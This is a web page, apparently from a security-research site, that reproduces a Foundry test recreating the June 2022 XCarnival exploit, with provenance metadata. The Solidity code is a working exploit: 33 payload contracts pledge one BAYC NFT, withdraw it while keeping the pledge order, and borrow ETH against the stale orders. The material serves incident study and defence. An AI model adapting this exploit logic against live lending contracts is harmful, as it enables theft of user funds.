Public reproduction file
src/test/2022-06/XCarnival_exp.sol
Public reproduction file for dataset entry XCarnival.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo8// Total Lost : 3087 ETH (~3,870,000 US$)9// Attacker Wallet : 0xb7cbb4d43f1e08327a90b32a8417688c9d0b800a10// Main Attack Contract : 0xf70f691d30ce23786cfb3a1522cfd76d159aca8d11// Vulnerable Contract XNFT.sol : https://etherscan.io/address/0x39360ac1239a0b98cb8076d4135d0f72b7fd9909#code13// @Info14// XToken.sol : https://etherscan.io/address/0x5417da20ac8157dd5c07230cfc2b226fdcfc5663#code15// Proxy of XNFT.sol : 0xb14B3b9682990ccC16F52eB04146C3ceAB01169A16// P2Controller.sol : https://etherscan.io/address/0x34ca24ddcdaf00105a3bf10ba5aae67953178b85#code17// BAYC Contract: 0xbc4ca0eda7647a8ab7c2061c2e118a18a936f13d19// @News20// Official Announce : https://twitter.com/XCarnival_Lab/status/154122629839965388821// PeckShield Alert Thread : https://twitter.com/peckshield/status/154104717145303450122// Blocksec Alert Thread : https://twitter.com/BlockSecTeam/status/154107085050572390524// @Shortcuts25/*26 Attacker Tx List : https://etherscan.io/txs?a=0xb7cbb4d43f1e08327a90b32a8417688c9d0b800a27 First `0xadf6a75d` call : https://etherscan.io/tx/0x422e7b0a449deba30bfe922b5c34282efbdbf860205ff04b14fd8129c5b9143328 First `Start` call : https://etherscan.io/tx/0xabfcfaf3620bbb2d41a3ffea6e31e93b9b5f61c061b9cfc5a53c74ebe890294d*/30interface IBAYC {31 function setApprovalForAll(address operator, bool _approved) external;33 function transferFrom(address from, address to, uint256 tokenId) external;35 function ownerOf(36 uint256 tokenId37 ) external view returns (address owner);38}40interface IXNFT {41 function counter() external returns (uint256); // getter() for -> uint256 public counter;43 function pledgeAndBorrow(44 address _collection,45 uint256 _tokenId,46 uint256 _nftType,47 address xToken,48 uint256 borrowAmount49 ) external;51 function withdrawNFT(52 uint256 orderId53 ) external;54}56interface IXToken {57 function borrow(uint256 orderId, address payable borrower, uint256 borrowAmount) external;58}60/* Contract: 0xa04ec2366641a2286782d104c448f13bf36b2304 */61interface INothing {62 function borrow(uint256 orderId, address payable borrower, uint256 borrowAmount) external;63}65/* Contract: 0x2d6e070af9574d07ef17ccd5748590a86690d175 */66contract payloadContract is Test {67 event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);69 uint256 orderId = 0;70 IBAYC BAYC = IBAYC(0xBC4CA0EdA7647A8aB7C2061c2E118A18a936f13D);71 IXNFT XNFT = IXNFT(0xb14B3b9682990ccC16F52eB04146C3ceAB01169A);72 IXToken XToken = IXToken(0xB38707E31C813f832ef71c70731ed80B45b85b2d);73 INothing doNothing = INothing(0xA04EC2366641a2286782D104C448f13bF36B2304);75 constructor() {76 emit OwnershipTransferred(address(0), address(msg.sender));77 BAYC.setApprovalForAll(tx.origin, true);78 }80 // function 0x97c1edd3()81 function makePledge() public {82 BAYC.setApprovalForAll(address(XNFT), true);84 // Attacker was call `pledgeAndBorrow()`, But `pledge()` also vulnerable.85 XNFT.pledgeAndBorrow(address(BAYC), 5110, 721, address(doNothing), 0);87 orderId = XNFT.counter();88 assert(orderId >= 11); // Attacker start by orderId:1189 XNFT.withdrawNFT(orderId);91 BAYC.transferFrom(address(this), msg.sender, 5110);92 }94 // function 0x2a3e7cec()95 function dumpETH() public {96 XToken.borrow(orderId, payable(address(this)), 36 ether);97 payable(msg.sender).transfer(address(this).balance);98 }100 function onERC721Received(101 address operator,102 address from,103 uint256 tokenId,104 bytes calldata data105 ) external pure returns (bytes4) {106 return this.onERC721Received.selector;107 }109 receive() external payable {}110}112/* Contract: 0xf70f691d30ce23786cfb3a1522cfd76d159aca8d */113contract mainAttackContract is Test {114 address payable[33] public payloads;115 address attacker = 0xb7CBB4d43F1e08327A90B32A8417688C9D0B800a;116 IBAYC BAYC = IBAYC(0xBC4CA0EdA7647A8aB7C2061c2E118A18a936f13D);117 CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);119 function setUp() public {120 cheat.createSelectFork("mainnet", 15_028_846); // fork mainnet at block 15028846122 cheat.deal(address(this), 0);123 emit log_named_decimal_uint("[*] Attacker Contract ETH Balance", address(this).balance, 18);125 // Mainnet TxID: 0x7cd094bc34c6700090f88950ab0095a95eb0d54c8e5012f1f46266c8871027ff126 emit log_string("\tAttacker send BAYC#5110 to Attack Contract...");127 cheat.roll(15_028_846);128 cheat.startPrank(attacker);129 BAYC.transferFrom(attacker, address(this), 5110);130 cheat.stopPrank();131 }133 // [Main Attack Contract].0xadf6a75d()134 function testExploit() public {135 // Set msg.sender = 0xf70f691d30ce23786cfb3a1522cfd76d159aca8d (Main Attack Contract)136 // Set tx.origin = 0xb7CBB4d43F1e08327A90B32A8417688C9D0B800a (Attacker)137 cheat.startPrank(address(this), attacker);139 emit log_string("[Exploit] Making pledged record...");140 for (uint8 i = 0; i < payloads.length; ++i) {141 payloadContract payload = new payloadContract();142 cheat.deal(address(payload), 0); // Set balance 0 ETH to avoid conflict on forknet143 payloads[i] = payable(address(payload));145 BAYC.transferFrom(address(this), address(payloads[i]), 5110);146 require(BAYC.ownerOf(5110) == payloads[i], "BAYC#5110 Transfer Failed");148 payload.makePledge();149 }151 assert(payloads[0] != address(0));152 assert(payloads[32] != address(0));154 emit log_string("[Exploit] Dumping ETH from borrow...");155 for (uint8 i = 0; i < payloads.length; ++i) {156 payloads[i].call(abi.encodeWithSignature("dumpETH()"));157 }159 emit log_string("[*] Exploit Execution Completed!");160 emit log_named_decimal_uint("[*] Attacker Contract ETH Balance", address(this).balance, 18);161 }163 receive() external payable {}164}Analysis
Dataset entry
Public Foundry test for “XCarnival” (2022-06-26). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
6 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-06/Discover_exp.solSame month in the dataset · 45 lines
- src/test/2022-06/Gym_2_exp.solSame month in the dataset · 24 lines
- src/test/2022-06/Harmony_multisig_exp.solSame month in the dataset · 53 lines
- src/test/2022-06/InverseFinance_exp.solSame month in the dataset · 117 lines
- src/test/2022-06/Optimism_exp.solSame month in the dataset · 27 lines
- src/test/2022-06/Snood_exp.solSame month in the dataset · 56 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xb7cbb4d43f1e08327a90b32a8417688c9d0b800a
- Vulnerable Contract
0x39360ac1239a0b98cb8076d4135d0f72b7fd9909
- Explorer: https://etherscan.io/address/0x39360ac1239a0b98cb8076d4135d0f72b7fd9909#code
- Explorer: https://etherscan.io/address/0x5417da20ac8157dd5c07230cfc2b226fdcfc5663#code
- Explorer: https://etherscan.io/address/0x34ca24ddcdaf00105a3bf10ba5aae67953178b85#code
- Reference: https://twitter.com/XCarnival_Lab/status/1541226298399653888
- Reference: https://twitter.com/peckshield/status/1541047171453034501
- Reference: https://twitter.com/BlockSecTeam/status/1541070850505723905
File record
- Name
- XCarnival
- Path
- src/test/2022-06/XCarnival_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- f976f338caa2edb08db90aa4b5959b968d7a339f
- Language
- Solidity
- Size
- 165 lines
- Date
- 2022-06-26
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-06/XCarnival_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob f976f338caa2edb08db90aa4b5959b968d7a339f, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.